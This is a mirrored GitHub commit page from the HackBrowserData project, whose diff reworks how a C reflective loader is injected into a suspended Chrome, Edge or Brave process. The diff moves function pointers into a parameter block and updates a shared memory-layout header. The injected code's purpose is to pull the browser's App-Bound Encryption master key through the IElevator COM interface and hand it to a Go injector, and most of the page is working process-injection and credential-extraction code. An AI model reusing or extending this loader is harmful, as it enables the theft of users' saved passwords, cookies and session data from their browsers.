mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-10-13 03:37:12 +02:00
fix(windows): harden the ABE payload injection lifecycle (#638)
* fix(windows): harden the ABE payload injection lifecycle The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it. * test(windows): use US spelling in offset test * fix(windows): validate bootstrap parameter encoding
This commit is contained in:
1 parent
da18dbc29f
commit
8c89ac72dd
10 files changed
+389
-234
No files matched your search
@@ -17,7 +17,8 @@ ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \
|
||||
$(ABE_SRC_DIR)/bootstrap.c
|
||||
|
||||
ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \
|
||||
$(ABE_SRC_DIR)/bootstrap.h
|
||||
$(ABE_SRC_DIR)/bootstrap.h \
|
||||
$(ABE_SRC_DIR)/bootstrap_layout.h
|
||||
|
||||
$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS)
|
||||
@mkdir -p $(ABE_BIN_DIR)
|
||||
|
||||
@@ -19,8 +19,8 @@ typedef struct {
|
||||
pfn_NtFlushInstructionCache NtFlushInstructionCache;
|
||||
} resolved_imports;
|
||||
|
||||
#define MARK(imgBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
#define MARK(scratchBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(scratchBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
} while (0)
|
||||
|
||||
// noinline is load-bearing: if this gets inlined into Bootstrap,
|
||||
@@ -53,24 +53,25 @@ static ULONG_PTR locate_own_image_base(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
// read_preresolved_imports pulls the five function pointers the Go injector
|
||||
// patched into the payload's DOS stub (see patchPreresolvedImports on the
|
||||
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
|
||||
// mismatch between C and Go.
|
||||
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
|
||||
// read_bootstrap_params pulls the scratch pointer and function pointers from
|
||||
// the remote thread parameter block written by the Go injector. The target
|
||||
// process is created by us and kept suspended, so passing explicit parameters
|
||||
// is clearer than re-discovering imports from the PEB or patching the DOS stub.
|
||||
static BOOL read_bootstrap_params(LPVOID lpParameter, resolved_imports *out,
|
||||
ULONG_PTR *outScratchBase)
|
||||
{
|
||||
out->LoadLibraryA =
|
||||
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
|
||||
out->GetProcAddress =
|
||||
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
|
||||
out->VirtualAlloc =
|
||||
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
|
||||
out->VirtualProtect =
|
||||
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
|
||||
out->NtFlushInstructionCache =
|
||||
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
|
||||
if (!lpParameter) return FALSE;
|
||||
|
||||
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
BootstrapParams *params = (BootstrapParams *)lpParameter;
|
||||
*outScratchBase = params->scratch_base;
|
||||
out->LoadLibraryA = (pfn_LoadLibraryA)params->LoadLibraryA;
|
||||
out->GetProcAddress = (pfn_GetProcAddress)params->GetProcAddress;
|
||||
out->VirtualAlloc = (pfn_VirtualAlloc)params->VirtualAlloc;
|
||||
out->VirtualProtect = (pfn_VirtualProtect)params->VirtualProtect;
|
||||
out->NtFlushInstructionCache =
|
||||
(pfn_NtFlushInstructionCache)params->NtFlushInstructionCache;
|
||||
|
||||
return *outScratchBase && out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
out->VirtualProtect && out->NtFlushInstructionCache;
|
||||
}
|
||||
|
||||
@@ -146,8 +147,8 @@ static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
|
||||
}
|
||||
|
||||
// link_iat resolves the Import Address Table for each DLL the payload
|
||||
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
|
||||
// Go injector patched in.
|
||||
// references, using the LoadLibraryA + GetProcAddress pointers the Go injector
|
||||
// passes in the BootstrapParams block.
|
||||
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
@@ -211,9 +212,8 @@ static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
}
|
||||
|
||||
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
|
||||
// lpReserved carries the original raw-image base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key back into the scratch
|
||||
// region the Go injector reads.
|
||||
// lpReserved carries the standalone scratch base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key where the Go injector reads.
|
||||
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
ULONG_PTR scratchBase)
|
||||
{
|
||||
@@ -227,37 +227,38 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
{
|
||||
ULONG_PTR imageBase = locate_own_image_base();
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
|
||||
resolved_imports imp;
|
||||
if (!read_preresolved_imports(imageBase, &imp)) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
ULONG_PTR scratchBase = 0;
|
||||
if (!read_bootstrap_params(lpParameter, &imp, &scratchBase)) {
|
||||
if (scratchBase) MARK(scratchBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt;
|
||||
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
apply_base_relocations(newBase, newNt);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
|
||||
link_iat(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
|
||||
set_section_protections(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
|
||||
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, scratchBase);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_DONE);
|
||||
return result;
|
||||
}
|
||||
@@ -13,11 +13,13 @@ const (
|
||||
KeyOffset = 0x40
|
||||
KeyLen = 0x20
|
||||
|
||||
ImpLoadLibraryAOffset = 0x40
|
||||
ImpGetProcAddressOffset = 0x48
|
||||
ImpVirtualAllocOffset = 0x50
|
||||
ImpVirtualProtectOffset = 0x58
|
||||
ImpNtFlushICOffset = 0x60
|
||||
ParamsSize = 0x30
|
||||
ParamScratchBase = 0x0
|
||||
ParamLoadLibraryA = 0x8
|
||||
ParamGetProcAddress = 0x10
|
||||
ParamVirtualAlloc = 0x18
|
||||
ParamVirtualProtect = 0x20
|
||||
ParamNtFlushIC = 0x28
|
||||
|
||||
MarkMZFound = 0x2
|
||||
MarkImportsOK = 0x5
|
||||
|
||||
@@ -20,11 +20,13 @@ const (
|
||||
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
|
||||
KeyLen = C.BOOTSTRAP_KEY_LEN
|
||||
|
||||
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
|
||||
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
|
||||
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
|
||||
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
|
||||
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
|
||||
ParamsSize = C.BOOTSTRAP_PARAMS_SIZE
|
||||
ParamScratchBase = C.BOOTSTRAP_PARAM_SCRATCH_BASE
|
||||
ParamLoadLibraryA = C.BOOTSTRAP_PARAM_LOAD_LIBRARY_A
|
||||
ParamGetProcAddress = C.BOOTSTRAP_PARAM_GET_PROC_ADDRESS
|
||||
ParamVirtualAlloc = C.BOOTSTRAP_PARAM_VIRTUAL_ALLOC
|
||||
ParamVirtualProtect = C.BOOTSTRAP_PARAM_VIRTUAL_PROTECT
|
||||
ParamNtFlushIC = C.BOOTSTRAP_PARAM_NT_FLUSH_IC
|
||||
|
||||
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
|
||||
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
|
||||
|
||||
@@ -6,11 +6,8 @@
|
||||
|
||||
// BootstrapScratch describes the IPC contract between the C payload running
|
||||
// inside the target browser process (chrome.exe, msedge.exe, brave.exe, etc.)
|
||||
// and the Go injector in our own process. It squats inside
|
||||
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
|
||||
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
|
||||
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
|
||||
// untouched so the PE loader can still find the NT headers.
|
||||
// and the Go injector in our own process. The injector allocates this as a
|
||||
// standalone RW block in the target process and passes its address to Bootstrap.
|
||||
//
|
||||
// This header is deliberately free of <windows.h> so cgo -godefs can read it
|
||||
// on macOS / Linux to regenerate the Go-side constants.
|
||||
@@ -26,23 +23,19 @@ typedef struct __attribute__((packed)) BootstrapScratch {
|
||||
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
|
||||
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
|
||||
|
||||
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
|
||||
|
||||
// 0x40..0x67: time-shared region
|
||||
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
union {
|
||||
struct {
|
||||
uintptr_t LoadLibraryA; // 0x40
|
||||
uintptr_t GetProcAddress; // 0x48
|
||||
uintptr_t VirtualAlloc; // 0x50
|
||||
uintptr_t VirtualProtect; // 0x58
|
||||
uintptr_t NtFlushInstructionCache; // 0x60
|
||||
} imports;
|
||||
uint8_t key[32]; // 0x40..0x5F
|
||||
} shared;
|
||||
uint8_t _reserved_34[0x40 - 0x34]; // 0x34..0x3F
|
||||
uint8_t key[32]; // 0x40..0x5F
|
||||
} BootstrapScratch;
|
||||
|
||||
typedef struct __attribute__((packed)) BootstrapParams {
|
||||
uintptr_t scratch_base;
|
||||
uintptr_t LoadLibraryA;
|
||||
uintptr_t GetProcAddress;
|
||||
uintptr_t VirtualAlloc;
|
||||
uintptr_t VirtualProtect;
|
||||
uintptr_t NtFlushInstructionCache;
|
||||
} BootstrapParams;
|
||||
|
||||
// Byte offsets derived from the struct. These are the ONLY place raw numeric
|
||||
// offsets appear; every C and Go consumer uses these names (or the Go-side
|
||||
// constants generated from them via cgo -godefs).
|
||||
@@ -52,14 +45,18 @@ typedef struct __attribute__((packed)) BootstrapScratch {
|
||||
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
|
||||
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
|
||||
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
|
||||
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
|
||||
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, key)
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
|
||||
// The Go injector serializes BootstrapParams by hand, so every field offset is generated
|
||||
// here too — adding or reordering a field then changes layout.go and breaks gen-layout-verify.
|
||||
#define BOOTSTRAP_PARAMS_SIZE sizeof(struct BootstrapParams)
|
||||
#define BOOTSTRAP_PARAM_SCRATCH_BASE offsetof(struct BootstrapParams, scratch_base)
|
||||
#define BOOTSTRAP_PARAM_LOAD_LIBRARY_A offsetof(struct BootstrapParams, LoadLibraryA)
|
||||
#define BOOTSTRAP_PARAM_GET_PROC_ADDRESS offsetof(struct BootstrapParams, GetProcAddress)
|
||||
#define BOOTSTRAP_PARAM_VIRTUAL_ALLOC offsetof(struct BootstrapParams, VirtualAlloc)
|
||||
#define BOOTSTRAP_PARAM_VIRTUAL_PROTECT offsetof(struct BootstrapParams, VirtualProtect)
|
||||
#define BOOTSTRAP_PARAM_NT_FLUSH_IC offsetof(struct BootstrapParams, NtFlushInstructionCache)
|
||||
|
||||
// Progress markers written by Bootstrap itself (enum-like, not offsets).
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
@@ -94,7 +91,8 @@ _Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key
|
||||
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
|
||||
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
|
||||
_Static_assert(sizeof(((struct BootstrapScratch *)0)->key) == 32, "key length");
|
||||
_Static_assert(sizeof(struct BootstrapParams) == 48, "bootstrap params size");
|
||||
|
||||
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
Reference in new issue
Block a user